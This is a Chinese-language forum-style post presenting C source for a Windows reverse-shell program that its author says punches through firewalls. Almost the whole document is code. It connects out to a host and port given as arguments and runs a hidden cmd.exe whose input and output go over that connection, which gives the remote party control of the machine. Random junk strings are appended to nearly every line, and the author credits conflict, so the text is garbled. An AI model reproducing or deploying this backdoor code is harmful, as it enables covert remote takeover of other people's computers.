这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HL3XyP7
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/* ============================== M6r^L6$N
Rebound port in Windows NT <+#oBN
By wind,2006/7 Z=5qX2fy1*
===============================*/ m(iR|Zx
#include Q:C$&-$
#include :K82sCy%5
xda;
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#pragma comment(lib,"wsock32.lib") M]v=-
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void OutputShell(); $*a'84-5G-
SOCKET sClient; DHC+C4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) M@1r:4CoKH
{ vR6Bn
WSADATA stWsaData; k^ F@X
int nRet; 5l-mW0,MK
SOCKADDR_IN stSaiClient,stSaiServer; 8N%Bn&
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if(argc != 3) h_d +$W5
{ ]'~vI/p
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; J~B
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} RE$`YCs5
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8x{B~_~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q*![AzFh
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stSaiClient.sin_family = AF_INET; 6&Juv
stSaiClient.sin_port = htons(0); 5m:i6,4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RyB~Lm`ZK%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dUznxZB
{ V(MFna)
printf("Bind Socket Failed!\n"); jeyLL<
return; Do%-B1{ri
} w6dFb6~R
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stSaiServer.sin_family = AF_INET; D0(xNhmKz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FOwDp0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (R~]|?:wt
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p Rdk>Ph
{ 7?gFy-
printf("Connect Error!"); 2jsw"aHW
return; 9z;HsU v
} *=ZsqOHwG
OutputShell(); U'UQ|%5f
} :4)Qt
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void OutputShell() /N>e&e[35\
{ [+*$\
char szBuff[1024]; /WV7gO&L1
SECURITY_ATTRIBUTES stSecurityAttributes; )Dp/('Z2
OSVERSIONINFO stOsversionInfo; LLWB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AB Xl
STARTUPINFO stStartupInfo; _{vkX<s
char *szShell; `dMqe\o%!
PROCESS_INFORMATION stProcessInformation; F["wDO
unsigned long lBytesRead; ;g_>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c H-@V<
]{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0,s$T2
stSecurityAttributes.lpSecurityDescriptor = 0; {*ZY(6^
stSecurityAttributes.bInheritHandle = TRUE; 7J28JK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "!>DX1rsi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w:Jrmx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ``,k5!a66\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?T_3n:
stStartupInfo.wShowWindow = SW_HIDE; E+"dqSI/v
stStartupInfo.hStdInput = hReadPipe; ._wkj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Giq=*D+
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GetVersionEx(&stOsversionInfo); O?8Ni=]
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switch(stOsversionInfo.dwPlatformId) YI-O{U
{ b 6t}{_7
case 1: Iq+>qX
szShell = "command.com"; D47R
break; dt[k\ !-v
default: e}@)z3Q<l
szShell = "cmd.exe"; `6y{.$ z
break; P X;Ed*y
} ;n=. {[,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MRr</o
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send(sClient,szMsg,77,0); LAx4Xp/
while(1) @`-[;?>
{ 6OiSK@<Hk
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]J9cVp
if(lBytesRead) 133I.XBU
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &bgvy'p
send(sClient,szBuff,lBytesRead,0); 4$/i%B#ad
} ~.PO[hC
else Mfk2mIy
{ T,fI BD:
lBytesRead=recv(sClient,szBuff,1024,0); 7@.cOB`y@3
if(lBytesRead<=0) break; 1[*UYcD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *'"T$ib
} Nf3.\eR
} Bb&^{7
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return; (vR 9H(#
}